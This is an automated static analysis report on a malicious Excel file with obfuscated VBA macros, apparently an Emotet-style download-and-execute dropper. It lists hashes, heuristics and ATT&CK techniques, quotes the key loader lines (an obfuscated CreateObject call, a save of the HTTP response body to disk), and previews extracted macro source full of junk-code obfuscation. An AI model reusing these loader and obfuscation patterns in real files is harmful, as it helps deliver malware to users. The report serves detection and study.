Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7749126dc30f76d4…

MALICIOUS

Office (OLE)

540.0 KB Created: 2018-10-02 04:52:41 Authoring application: Microsoft Excel First seen: 2020-04-06
MD5: fd5acebc7e72bce1a0f3df6041ad72df SHA-1: be24b36e301613aa60370ea9dc2f95271426e7da SHA-256: 7749126dc30f76d46ad3f62b04fc76040b888901f631cbf5df73809a23f68da3
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is an Excel file containing obfuscated VBA macros. The Workbook_Open macro is designed to execute automatically, likely downloading and executing a second-stage payload as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic. The document body explicitly prompts the user to enable macros, a common social engineering tactic.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        obYKG = rpqfg.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set nPApRLbr = CreateObject(OMKTE("A-SUscD xxZoO$?dfHDx X)_BAf! n.@cp  SG-rd$t(O bPrOAK Tev  vaa]e#J@mCSvX-"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set nPApRLbr = CreateObject(OMKTE("A-SUscD xxZoO$?dfHDx X)_BAf! n.@cp  SG-rd$t(O bPrOAK Tev  vaa]e#J@mCSvX-"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call nPApRLbr.SaveToFile(Environ(OMKTE("A# gACpXK & pYcnP#D  ? taMjUx-taeFLfaxLB. ")) & OMKTE("\  BR[\   Y NzT?#Ee  CaNo bCD$qNY  [KFrms . g Y e.d ccxujFBhehWTXn"), 5 + 3 - 6)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 191403 bytes
SHA-256: e04f158079829fada7f72251c6f79e8a3221a1d351be6e2bdefc855b7ee635bf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
896 of 1441 identifiers look randomly generated (e.g. 'dOkhGRshSelzaCcznGHM') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Workbook_Open()
    qYzbYSnX = 706 + 1456 + 374
    EakazvFqr = Left("  LxTHKCGMRA^  d%Y", 5) + LTrim(" ?gPEo   ..or@%X  [")
    NmroErSIaRa = 343 - 339 - 100
    While ORqJzT < 1
        For XGhozu = 1 To 10
            lqmijN = LTrim(".j)N! [u)z#") + RTrim("   uF fnE k#d SvH")
            rmfsQesYQ = Left("KM_waw  Buq r u  ", 3) + LTrim("uf U  P )  PDpK#m ")
            tvHHFc = Right("  AgvI vu GG  D ", 2)
            vwlBEzVL = 895 + 754 + 449
            JAVXYr = 343 - 267 - 270
            

            LAlgqBvRuBMP = RTrim(" vpkXU]ivy N(YP")
            wOfvbqzb = UCase("pNI   ! @e_- $ W Qu")
            IgUeoDxUG = UCase(" uJ eUiT T rp ")
        Next XGhozu

        BdOCDMQ = LTrim("Z[ [Wc  wWGuF bS") + RTrim("(KZZ xJo_ O#")
        bQrqlmKG = RTrim("  v)(H&Ra fGr?]I MQ")
        yLwktmY = Space(8) + UCase("j)& vX N-# RU  Zx")
        HWuVozM = RTrim(" I  )itA?-k")
        wOfvbqzb = 437 + 1218 + 1478
        vwlBEzVL = RTrim("b&TBt(c qMX l v ")
        ORqJzT = ORqJzT + 1
    Wend

    HWuVozM = Space(10) + UCase("^z% _h p G[PdI")
    LAlgqBvRuBMP = LTrim("C gtt fs  CtUf yG.") + RTrim(" tYzmZXI-  m-    G! ")
    bPjntHd = StrReverse("(C  s ^@u JD Zu") + Left("qx&lUW ] L aa", 4)
    While cIrYCB < 2
        LLXmaQVBpjB = Right("O xT  eCo-XBh ", 2)
        wOfvbqzb = StrReverse("^[J]WwbfAZ B]_jjRprf") + Left(" G zD w@?rtg", 2)
        lqmijN = 608 + 1015 + 1274
        ktrzXGiFyQi = 1966 + 1185 + 207
        LLXmaQVBpjB = Right("-    hu lBpUifG[mJ", 2)
        rmfsQesYQ = Space(1) + UCase(" sy   W%coJ!xq A$")
        qLyHLEPuPK = RTrim("B?HTrgv   ufqog SK")
        tIjPIHWnBAZ = 275 - 417 - 322
        EakazvFqr = 483 - 159 - 337
        zIPesp = StrReverse("bY n& kMSF ") + Left("yYE   (VzP@l_BA @ ", 5)
        cIrYCB = cIrYCB + 1
    Wend

    yYsAKT = RTrim("n-oO-r tE!U ]J")
    evQATq = Left("h_dOdyDhl  HCMXP n", 3) + LTrim("k_JM&W#SLfRzuw")
    For QUrshU = 1 To 2
        For LCkXRH = 1 To 10
            IgUeoDxUG = LTrim("g YT]w$a%.  M dkT ") + RTrim(" cIxx?.   NAz ")
            EWCBKfC = Left("))  uA $QMpJ HY.-Ne ", 3) + LTrim(" wnBfwfOe  f K")
            AKysSspX = Right("(!z  jYsUTff   d", 3)
            wOfvbqzb = 949 + 1611 + 1410
            JAVXYr = Right("of N  k Sg THzz", 2)
        Next LCkXRH

        eCNfH = UCase("t  Jkpw$% RKoTK !")
        tvHHFc = LTrim("uJi Zv(   _  f NKi") + RTrim("  zD LuW FvP[eOfp")
        EWCBKfC = 1016 + 1317 + 1223
        lqmijN = Right("x ]iOA) F Rmz", 4)
        EWCBKfC = StrReverse("   fGSAjDNX ") + Left(" SnpZ_xC zTKMy  @ ", 2)
    Next QUrshU

    NmroErSIaRa = Left("deO!f) Ro!q KR", 2) + LTrim("G(U LAbjhV   ")
    AKysSspX = 255 - 117 - 235
    While uFODJM < 5
        While FzFVQV < 1
            LAlgqBvRuBMP = StrReverse("gLX  G P )Ll") + Left("ipm r?emf ", 4)
            NmroErSIaRa = Space(7) + UCase("v]IJ-vsd  A")
            yLwktmY = UCase(" )SdiS#_z-K[ . g)Nw ")
            ecApoJbEG = Right("d l w _ T%", 5)
            ecApoJbEG = UCase("  oidJm(UEFWQB&uIY")
            FzFVQV = FzFVQV + 3
        Wend

        

        AKysSspX = RTrim("q $J$fU d E ")
        

        yYsAKT = Left("hYw Kd  (B", 3) + LTrim("Vh ky  cy!V miu")
        

        sQpihPFSx = LTrim("Is QF-X XP&AS[E w p") + RTrim(" h K ws(  s SpsfVR%")
        QDEUG = UCase("A -p^k& lul ")
        uFODJM = uFODJM + 2
    Wend

    qLyHLEPuPK = UCase("N  FO Hf- )  ek]")
eAbuKcgR
    For BurmGj = 1 To 7
        rmfsQesYQ = Left("#( $X -fiGGpu.x", 4) + LTrim("g%^YK f zbx# D fba ")
        FuLXeXR = RTrim("[q  S  S&[ V")
        

        QDEUG = LTrim("od_p.P(X KQ)pHb  it_") + RTrim("&(AR )_Fihv")
        zIPesp = StrReverse("x   K!xG IVYJMpl@v)w") + Left("# Pc oUp r@o.fH v", 4)
        NmroErSIaRa = Right(".  h k)  AFBE T", 2)
        lqmijN = Space(2) + UCase("obmV@[  C BL cAJf z")
        

    Next BurmGj

    IgUeoDxUG = Space(6) + UCase(" -utm-( ? SSjrVBX[ ")
    

    For yUpfTP = 1 To 2
        For gidBSl = 1 To 8
            EakazvFqr = LTrim(" ow CI (ta&]ll#") + RTrim("jM eti-Az_ u@#  TI")
            LAlgqBvRuBMP = Space(1) + UCase(" J    ! ep! x%M[ t")
            bPjntHd = LTrim(" %)-W s ^Vz(WJj[") + RTrim("Q WVe%yE-o_Sh(!xl")
            ZUlZh = Space(17) + UCase("^ H ^ R nH!  p")
            tIjPIHWnBAZ = Left("mzw sF i)i", 5) + LTrim("RC c FS)s   C   ")
            eontcbKSWTQu = LTrim("-^ cjl  R@") + RTrim("Rd@si r  ag")
            ecApoJbEG = LTrim("] #WD $( KBO ZgiAi  ") + RTrim(" zMRvX]yxja Za")
        Next gidBSl

        EWCBKfC = StrReverse("fqs nk[ rwHS  W$D") + Left("SF rno -I ", 3)
        tIjPIHWnBAZ = RTrim(" b  L ZbZr.aX")
        ZjGJEXdbZGLi = UCase("cS -Zkb   Sm F_xgY")
        

        QDEUG = RTrim(" %C  vwewr? y#SizY#i")
        BdOCDMQ = 1629 + 949 + 1157
        wOfvbqzb = RTrim(" S@#m%v$! D M F")
        QDEUG = 1328 + 1676 + 584
        IxnTyFyWv = StrReverse("UD  d?h$uX_") + Left("k)r   w YMX", 5)
    Next yUpfTP

    HWuVozM = Space(14) + UCase("sG  U(YCSHa  RUQ")
    vwlBEzVL = 314 - 387 - 346
    BdOCDMQ = 778 + 399 + 477
    yLwktmY = 1538 + 1475 + 1052
    BdOCDMQ = 380 + 1076 + 1961
    IxnTyFyWv = StrReverse(" hj  nK DX@VR WUL F ") + Left("G S nO?@EvBNxLQLmZ", 2)


End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Sub PGdxJp(UYychVD As Integer)
    AKysSspX = 237 - 188 - 314
    IgUeoDxUG = Right("G-  @Q y vxX ", 4)
    JAVXYr = 1536 + 557 + 767
    EakazvFqr = Right("Ynx#I%yOiO-", 4)
    

    For YORuYh = 1 To 5
        For EfyHws = 1 To 8
            vwlBEzVL = RTrim("m j o] Emc")
            solQGsB = UCase("@w z  CoJ ")
            bQrqlmKG = StrReverse("  %Zs E^_Wg-B  t") + Left("V@$ YtIJf_agorz", 3)
            evQATq = UCase("B  PE Q$X y !")
            AKysSspX = Right(" db h$XJAgRVTn.", 4)
            evQATq = Space(18) + UCase("VC)XJb-$LhiM Fu ")
            

            zIPesp = Right(" Ale  ]!  ", 3)
            HWuVozM = Space(17) + UCase(" MQx -O xxS")
            JAVXYr = StrReverse("$ mKGlc_F x [W L  ") + Left("[zF !h&QRy   jqM  ", 2)
        Next EfyHws

        eCNfH = Space(18) + UCase("PzMs &UVlX")
        rmfsQesYQ = Space(1) + UCase("kRPL K&^ E")
        HWuVozM = 101 - 454 - 378
        qYzbYSnX = StrReverse(" ZX YePnW opw ") + Left("a  fjC@q#c", 5)
        wOfvbqzb = Left("t Q  y z  IeS Z]([Pj", 5) + LTrim(" V  jN oD^VEc")
    Next YORuYh

    lqmijN = StrReverse("vl^zipvk (X #") + Left(" U A j.Q]h", 4)
    bQrqlmKG = Right("C   c %@ZRF", 5)
    fZSazyYrx = LTrim("VXS]P E)qZvt") + RTrim(" Joxx uhFHR")
    ZUlZh = Left("o? a?bEZjI   J-x&", 2) + LTrim(" i.BJ ?   s( uxK^ t ")
    sQpihPFSx = StrReverse(". eTo !) vb _( l") + Left("Tx#w Mf)m%f iWX", 5)
End Sub



Sub GxPrTk(gsDQoLi As Integer)
    For ngcOdL = 1 To 10
        fZSazyYrx = 315 + 1358 + 849
        ZjGJEXdbZGLi = StrReverse(" HEc_FK(][") + Left("XG&OHbanRhPIY U-Nt x", 5)
        IgUeoDxUG = 971 + 407 + 1764
        yYsAKT = StrReverse("T (OeBYf!B h  ") + Left("w    k (CQ UO mXJ h ", 2)
        GhvVQPIUPlkg = Space(6) + UCase("rB Tab  qA  ty ")
        EWCBKfC = UCase("HwK) ?HYiWc_   ")
        FuLXeXR = RTrim("sNSe]#wPr K.   (E")
        xCjLKE = Space(1) + UCase(" oj  J- $&ZVaYp")
        rmfsQesYQ = Right("h @REN g#  HLpRzN", 2)
    Next ngcOdL

    IgUeoDxUG = UCase(" ] M . Z&! .CoQ")
    For jpCdXo = 1 To 9
        LLXmaQVBpjB = Left("]RBvW I^j $ )hCd", 2) + LTrim("H%h   C k MfkaA NX")
        yLwktmY = StrReverse(" hY cV )  o#EHb  b") + Left("Lf%a qe  ?Id(Z", 3)
        rmfsQesYQ = Right("  eErUd   O Q zK Up", 2)
        

        qYzbYSnX = LTrim("g g QsfK  zR i") + RTrim(" @#!Z(  U-  V")
        

        solQGsB = 1446 + 1133 + 647
    Next jpCdXo

    rmfsQesYQ = UCase(" hFcWNh.([r u")
    ktrzXGiFyQi = StrReverse("CBT [mms  !Y[w? $_") + Left("y y g sc M !uHuE? ", 3)
    AKysSspX = UCase("?]-f Y.zaJ")
    LLXmaQVBpjB = Right("-mLyM-FZrzzpCq  E ", 4)
    vwlBEzVL = Right("! ?az N  SBQwQedE ", 5)
    

    GhvVQPIUPlkg = 448 - 388 - 192
    QDEUG = 1277 + 952 + 1609
    vwlBEzVL = UCase("?n sqDAs  RawS  ")
End Sub


Sub ZSuEiv(oJotDn As String, kCtWXT As Boolean)
    For rkyTbM = 1 To 2
        While xLHLsH < 2
            qLyHLEPuPK = Left("S!!   nEU)ah  ", 2) + LTrim("eX qVywLp  o GnDIj b")
            

            sQpihPFSx = Right(" zlPWNw PMZBv a G ", 4)
            yLwktmY = 278 - 334 - 412
            

            wOfvbqzb = 1392 + 1754 + 735
            xLHLsH = xLHLsH + 2
        Wend

        FuLXeXR = LTrim("rVwyPUAf[zk oJ f") + RTrim("T G)$BN WWK Q")
        JAVXYr = LTrim("b L ^Lb  Oe BF!R$") + RTrim("FGzohe$p -w% ")
        eontcbKSWTQu = 177 - 409 - 156
        

        yYsAKT = 378 - 322 - 401
        fZSazyYrx = LTrim("  k$@  T[bt nW K A") + RTrim("Xt(TY! tzjJeDrT")
        bQrqlmKG = 1340 + 135 + 1201
    Next rkyTbM

    While SdHFvT < 3
        HWuVozM = UCase("@bxe rjL^tC g")
        eCNfH = Right("Gy oFc  p c T", 5)
        PVPpAgbRhNAX = 673 + 1684 + 350
        zIPesp = Left("jV xac]  n u !P", 5) + LTrim("RUH mfU @ko_")
        yYsAKT = UCase("&ula @viG CTW")
        wOfvbqzb = RTrim("s IS? JwGn!  vRe")
        LLXmaQVBpjB = LTrim("efpSxC @ rMy T kW") + RTrim("Q   @ R ] vv  ")
        SdHFvT = SdHFvT + 2
    Wend

    tvHHFc = RTrim(" cOo Rj K H_@ZzG")
    qLyHLEPuPK = 334 - 358 - 113
    NmroErSIaRa = Space(5) + UCase(" %m Q Kz)ExAXf ")
    fZSazyYrx = UCase(")[V wMrga i N  z.bXI")
    zIPesp = Right(" l-O ]XJ Rk F", 4)
    HWuVozM = UCase("-oKKwB  snaqi P")
    qYzbYSnX = 224 - 294 - 445
    qYzbYSnX = Space(9) + UCase("  qf v   .  )Aq t ")
    PVPpAgbRhNAX = LTrim(" f SqB ncs Vu Eux") + RTrim(" _ex(Z Z sk   K")
    EWCBKfC = Space(4) + UCase(" ^JX)lVH!n_yP JVV")
    ecApoJbEG = Right("]   ?^SNPmBMsVxwp", 5)
    zIPesp = StrReverse(" i m !  hAj ") + Left("f?DNj^a ULUP", 2)
    lqmijN = StrReverse("NH uKWA[IlRip$[[e") + Left(".NdB FB P&Y )!K [F", 3)
End Sub



Attribute VB_Name = "Module2"

Function PtTIAg(DDwFhP As Integer, IvmKUBT As String, sbuQtif As Boolean, MNZbcB As String, rVGGki As Double) As String
    IgUeoDxUG = 189 - 435 - 142
    QDEUG = 355 - 192 - 343
    While rJhsqn < 5
        For uWMZnG = 1 To 10
            bQrqlmKG = LTrim("bhX L& ^Q(_") + RTrim("iFW_#   Y Dheewb)V")
            yLwktmY = Left("JJE. H  CL", 2) + LTrim("m v J G$)T^$O")
            

            lqmijN = UCase("LL?V x^ C(")
            evQATq = 1929 + 1410 + 1444
            eontcbKSWTQu = Left("L%m [(iW m", 3) + LTrim("COE gkYrZi")
            GhvVQPIUPlkg = Space(2) + UCase(" s$   )Yp q")
        Next uWMZnG

        FuLXeXR = Space(9) + UCase("$ky-p Tm^wC ")
        tvHHFc = StrReverse("mbWaA jcJ&dxn yxfUk") + Left("SwGc- GKI F ", 4)
        bQrqlmKG = LTrim("  qh ji Qz") + RTrim("dcDzxI )ON%an tCRt]")
        LLXmaQVBpjB = 430 + 1203 + 726
        LAlgqBvRuBMP = 484 - 437 - 292
        wOfvbqzb = Space(7) + UCase("MR Dm.TPL[ABsF ")
        evQATq = UCase("al[e@@( Lw$-$ f")
        NmroErSIaRa = 194 - 369 - 277
        rJhsqn = rJhsqn + 1
    Wend

    QDEUG = UCase("[Suw  Z XOUlLc_  Uj")
    xCjLKE = 150 - 497 - 227
    HWuVozM = 219 - 186 - 250
    EakazvFqr = LTrim("et- mVljDD") + RTrim("Z   Vt.BIcGN")
    For VUaqfM = 1 To 7
        ktrzXGiFyQi = RTrim("cS@m ]? sBX D f")
        ZUlZh = Right(" nE# y$  _n I x$TU ", 3)
        LAlgqBvRuBMP = Left(" nR J%&l.FP&n", 3) + LTrim(")CXUc.!O@ OT zTy) _u")
        wOfvbqzb = 298 - 158 - 298
        FuLXeXR = Left("@h? bp q  dhw  ", 3) + LTrim("IrJa B %o mI")
        fZSazyYrx = LTrim("uznp  qWMtqa ") + RTrim("N. a@ &sdp")
        wOfvbqzb = LTrim("  Y[s W o n B w  wU ") + RTrim("hMM Xoh ES%.  f")
        fWTiKMRO = UCase(" ng@NnX l$f")
        zIPesp = RTrim("uM nA  $?t%C")
        yYsAKT = 1159 + 1496 + 471
    Next VUaqfM

    NmroErSIaRa = 219 - 392 - 255
    zIPesp = Left("uu  ZW^Ap   E ", 3) + LTrim("]Gv$mumr[Kra")
    fZSazyYrx = 1491 + 1828 + 1056
    fWTiKMRO = StrReverse("LaM Vp [   bU z th-b") + Left("xEQW!C jDf.q  ", 5)
    ZjGJEXdbZGLi = UCase("Z W  %!#l%Bohu  ")
    bPjntHd = 321 - 353 - 426
    PtTIAg = "OtiuJekOKaqrLS"
End Function



Attribute VB_Name = "Module3"

Function wPjAjg(OaZRTV As Integer) As String
    BdOCDMQ = StrReverse(" f piJI $B") + Left(" [ &   efV s", 4)
    sQpihPFSx = LTrim("cOEDWVNhpv ywdDJ)") + RTrim("U  Y aecaAsQl DW")
    IxnTyFyWv = 387 - 245 - 339
    

    ZjGJEXdbZGLi = Space(20) + UCase(" i(p  Qri ")
    QDEUG = RTrim(" [  elef aR WL")
    ZjGJEXdbZGLi = Left("G%Kt eHloiEii  ", 5) + LTrim("HBjPpg %lj  asA $E.")
    GhvVQPIUPlkg = UCase("[AkM?J_quK eD%V aK")
    EakazvFqr = StrReverse(" _K[  I t)e)  K[pu") + Left(" $ I Rr!gUn  sr#Mq", 5)
    GhvVQPIUPlkg = 107 - 164 - 184
    eontcbKSWTQu = UCase("$O # @G^_NFFC #qpaJp")
    bPjntHd = 1680 + 1552 + 425
    While ygILqL < 4
        For gxGEFt = 1 To 6
            IxnTyFyWv = 282 - 443 - 436
            ZUlZh = StrReverse("MaPw)i _O] Ft ") + Left("[BH_ %cBKRV", 3)
            ZjGJEXdbZGLi = Space(17) + UCase("%X[ M m S@m Ug K Bqf")
            qLyHLEPuPK = 1409 + 573 + 1495
            zIPesp = 1702 + 924 + 1502
            fZSazyYrx = Left("  HDr Lu  ^&Y ", 2) + LTrim("rHAtq (^bQVh   Spn)n")
            ktrzXGiFyQi = UCase("Aj L m I]ezTjPTas Y")
            solQGsB = Right("fv - DKu   ncgtF.", 4)
            tvHHFc = Left("PdfMSNUSxc @O", 4) + LTrim("  C kU oQ aiH-_@@")
            yYsAKT = UCase(" b]uDn.i ac")
        Next gxGEFt

        LLXmaQVBpjB = Space(10) + UCase("w lsGU&M^M $g lyC")
        FuLXeXR = 934 + 1331 + 1915
        zIPesp = StrReverse("$m pFI @ YfKt  EZv") + Left("yG(! lb%saCV", 4)
        fZSazyYrx = Space(13) + UCase("uNBF GnyQ TF fBIL")
        GhvVQPIUPlkg = UCase("U? CW XpAR ")
        qLyHLEPuPK = LTrim("$fRkX-zT%]DdD.^G  Uv") + RTrim("OxWGeYiqUfM Q BUCF")
        AKysSspX = RTrim("Hah eQG@BU  ")
        ygILqL = ygILqL + 3
    Wend

    IxnTyFyWv = 991 + 574 + 590
    wPjAjg = "kpaherfhyEGvBT"
End Function



Function ljrWet(wCGUji As Boolean) As String
    For WmsrKb = 1 To 6
        fZSazyYrx = RTrim("tWvEw)navbQEE")
        fZSazyYrx = 143 - 435 - 345
        

        qYzbYSnX = Right("T?LoaPw CW", 2)
        

    Next WmsrKb

    zIPesp = 526 + 1741 + 971
    ZjGJEXdbZGLi = StrReverse(" zpIpKMO lz zs ") + Left("h  @w^s  w   m%", 4)
    IxnTyFyWv = LTrim("?Y Sgw@dh?B! bWi OeS") + RTrim("#B#WDMXLJ   S SmzQ$c")
    yYsAKT = Space(11) + UCase("Q^U#e   Pp$")
    AKysSspX = UCase("x W(V_s yYw ")
    qYzbYSnX = Space(3) + UCase(" tira]F   mg vXWj")
    qYzbYSnX = StrReverse(" VTUs.  DMF- ^yq@") + Left("db-g DCPZTY] ( #cmg ", 5)
    yLwktmY = RTrim("y o s aYjEG")
    

    ZjGJEXdbZGLi = Right("GadTYAVa iv cndoH", 3)
    vwlBEzVL = Space(12) + UCase("CF- % bJS c?[o")
    PVPpAgbRhNAX = 383 + 283 + 913
    PVPpAgbRhNAX = Left("t a LGo_kwg", 3) + LTrim("B Aiy. ^?U[pMB")
    ZUlZh = Left("bwOc   Phj", 4) + LTrim(" OetrBWvq[ dRv j -&E")
    IxnTyFyWv = Left("sY# [  $%bNKp? grl", 5) + LTrim("EV SGTS[-$D  m.")
    ZUlZh = Left("Py# x]w-ZKs_", 5) + LTrim("k hx^ao.Rx_?X]DgrB#")
    

    vwlBEzVL = 205 - 308 - 104
    ljrWet = "ztRaTrxmQkgAcfoFvEw"
End Function



Function ifiAVa(UiONAWy As Integer, HmMOmu As Double) As String
    While slNoLJ < 4
        For iSIeEy = 1 To 8
            vwlBEzVL = Left("  -Xxl%N  U) $", 2) + LTrim(" D#?   kpd)nD #T")
            vwlBEzVL = 584 + 969 + 1608
            ZjGJEXdbZGLi = RTrim("GiaP [K kCE")
            LAlgqBvRuBMP = Right("g ? K [trF! I RIJxd", 3)
            

            FuLXeXR = LTrim("   Pp#wnp-") + RTrim("^bl g Q_V  n _")
            solQGsB = 265 + 486 + 1829
            solQGsB = Left("fH a ww-$aYxxR @Jq-", 3) + LTrim("Hw MtICR    &  ")
            bQrqlmKG = 232 - 115 - 386
            NmroErSIaRa = Right("  l& T qbIHjSM&V(", 4)
        Next iSIeEy

        fZSazyYrx = 244 + 1517 + 1437
        ZUlZh = Right("^d( K mrpR@ -  ", 4)
        fWTiKMRO = 1315 + 1186 + 1950
        PVPpAgbRhNAX = StrReverse("Ujfv  v!^u") + Left(" %eIS t lZndoXB", 2)
        lqmijN = Left("g  hnsSn  Zw K%", 5) + LTrim("P    )w[[f ")
        NmroErSIaRa = Right("RNLB E x^ T]dp] ZaVM", 5)
        ZjGJEXdbZGLi = 330 - 144 - 358
        sQpihPFSx = Right("q#d h k# O  V  i^A", 5)
        

        slNoLJ = slNoLJ + 1
    Wend

    IxnTyFyWv = StrReverse("&sU ZT#)  G )  !g") + Left(" bZtxA @A iFgT)mK", 2)
    EakazvFqr = Right(" (m$ hk_ L%Mypj g&Y", 5)
    yYsAKT = UCase("Co _  aP) liCKKDao?")
    

    PVPpAgbRhNAX = Left("sIrs F-LAkChp]YQ", 5) + LTrim("o (()  PtRnrm")
    EakazvFqr = Left("DJV& (Wr ?&t", 5) + LTrim("_WHay - wpY.U% (Ry")
    

    NmroErSIaRa = RTrim(" !GMH[c  y ")
    QDEUG = Space(14) + UCase("uMb h WJ Wdf")
    ifiAVa = "ikYKooEZAg"
End Function



Function gveEIU(XSAwzfK As Boolean, RhCGfS As Boolean) As String
    tIjPIHWnBAZ = Right("H  s!NV srYxj.NIp", 5)
    sQpihPFSx = 1659 + 539 + 543
    qLyHLEPuPK = 315 - 411 - 294
    HWuVozM = 399 - 152 - 330
    zIPesp = Space(14) + UCase("A $ m-Th d  $FM")
    JAVXYr = Right("!  t@zn jX izo jEA", 5)
    tIjPIHWnBAZ = 379 - 473 - 197
    IgUeoDxUG = Space(20) + UCase(" @ Wv   # G^ ")
    qYzbYSnX = 342 - 290 - 370
    yYsAKT = RTrim("Z.IP ]e ]@k[")
    LAlgqBvRuBMP = Right("WeXJ?U l bR", 2)
    BdOCDMQ = UCase("bwW[ zb?Z@jD)p&")
    For QRtZnW = 1 To 5
        ZUlZh = 170 - 365 - 163
        yLwktmY = UCase("V uh o RL[tXxb")
        tvHHFc = Right("ldlJUYc]TBQ(", 3)
        lqmijN = RTrim("AmR  r  iPf iPmcz")
        LLXmaQVBpjB = StrReverse("hyMr @$ dbcbJ") + Left(" in   GuA! O #  dKz ", 2)
        ktrzXGiFyQi = UCase(" mz  B&r@dxZN")
        EakazvFqr = UCase("jEbWr NL[MlClXX [")
        tIjPIHWnBAZ = RTrim("   U&%N-.dAE $lE[Tq")
    Next QRtZnW

    gveEIU = "ccqplNiRqBLMs"
End Function



Attribute VB_Name = "Module4"

Function MDosEy(HxQQDuo As Integer, UXplRq As String, luOXpw As String, osOhzlH As Integer, gtarqXb As Integer) As String
    ZUlZh = Space(6) + UCase(".p-$Bb hj oP")
    yYsAKT = LTrim("bA#Kly t[X  @ $Z#oCP") + RTrim("   H __  l    sZ q P")
    EakazvFqr = Right("JVHMtCjEUkAFw U x", 2)
    NmroErSIaRa = 417 - 491 - 332
    zIPesp = Space(6) + UCase("h[!- k-U[ n&YB zu")
    bPjntHd = RTrim(" #v)  swoD NoZb ")
    While ccsROg < 2
        ZUlZh = StrReverse(" ADQ.  wE(.o))slpq") + Left("@F]M.  ^S jLt?N Be", 4)
        

        NmroErSIaRa = Space(18) + UCase("jr_ AROT  ")
        qLyHLEPuPK = LTrim("OmBMZEP@$X.Cj eSI") + RTrim("zN?J D% cXS")
        EWCBKfC = 1555 + 1372 + 1047
        

        ccsROg = ccsROg + 3
    Wend

    

    JAVXYr = Left("HrsGWrl^ly QmjB@N GT", 4) + LTrim(" OaHZ BxT&_%")
    HWuVozM = Left("S%)p  c    F  ", 3) + LTrim("caMfG k Yp")
    IxnTyFyWv = Left("U (? [[ ursX&", 4) + LTrim("NXXU  J $po")
    eCNfH = RTrim("M[  P  l^[jx@ @#^ ba")
    zIPesp = Right("Y)#m [ ACHbs D& f", 3)
    

    fWTiKMRO = StrReverse("Ol  ]K RFb r ") + Left("( YSvLs(DpSECEBiR", 4)
    tIjPIHWnBAZ = UCase("^U u VcZyy#d?l_")
    LLXmaQVBpjB = Right(" Q j I p wcur)^ _S", 3)
    ZUlZh = 175 - 288 - 475
    sQpihPFSx = StrReverse(" Of B   $-n ApF  w p") + Left("Q   !a S Z  ^iH ", 2)
    MDosEy = "fovZfFbchkLcZSRkZKa"
End Function



Sub ZEDmuc(xBcxZT As String, UAttoD As Boolean, SRBLrkF As Boolean)
    yYsAKT = Right("cWayh]  lxVKw", 2)
    fZSazyYrx = Left(" VB  Ky%.y@", 5) + LTrim("  @KL iVqJK@f ")
    LLXmaQVBpjB = RTrim("j z GtB!$UO-_ g")
    ZUlZh = Space(8) + UCase("^ JT#  [@eh  -j )")
    BdOCDMQ = Right("WPdX TPM OO-q EqFT e", 5)
    fZSazyYrx = 167 - 429 - 368
    QDEUG = RTrim(" @jB.Qs J z  r LZRT_")
    vwlBEzVL = 1841 + 1190 + 1585
    tIjPIHWnBAZ = 111 + 149 + 684
    LAlgqBvRuBMP = Right(" # ZL$S-VSCYE", 2)
    qLyHLEPuPK = Right("AK ybLP mBpOkVH(C  ", 2)
    eontcbKSWTQu = Space(20) + UCase("  Fa  aTnV^H")
    PVPpAgbRhNAX = Space(16) + UCase("..n M CZMDEY kuO")
    EWCBKfC = RTrim("   f%TbNn T  _  K_N")
    bPjntHd = UCase("o?Qz [[pi]CKMjGi")
End Sub



Function roJiDa(qiDKdh As Boolean) As String
    IgUeoDxUG = StrReverse("k #D TLS WJ)Fe-") + Left("!cH$Raa( p Hrd", 5)
    fZSazyYrx = Space(15) + UCase(" A.  y-  U]rPH")
    qLyHLEPuPK = Space(20) + UCase("nGJ^$Z  # QU")
    BdOCDMQ = Space(12) + UCase(" Jy  fc%_MG.yTf")
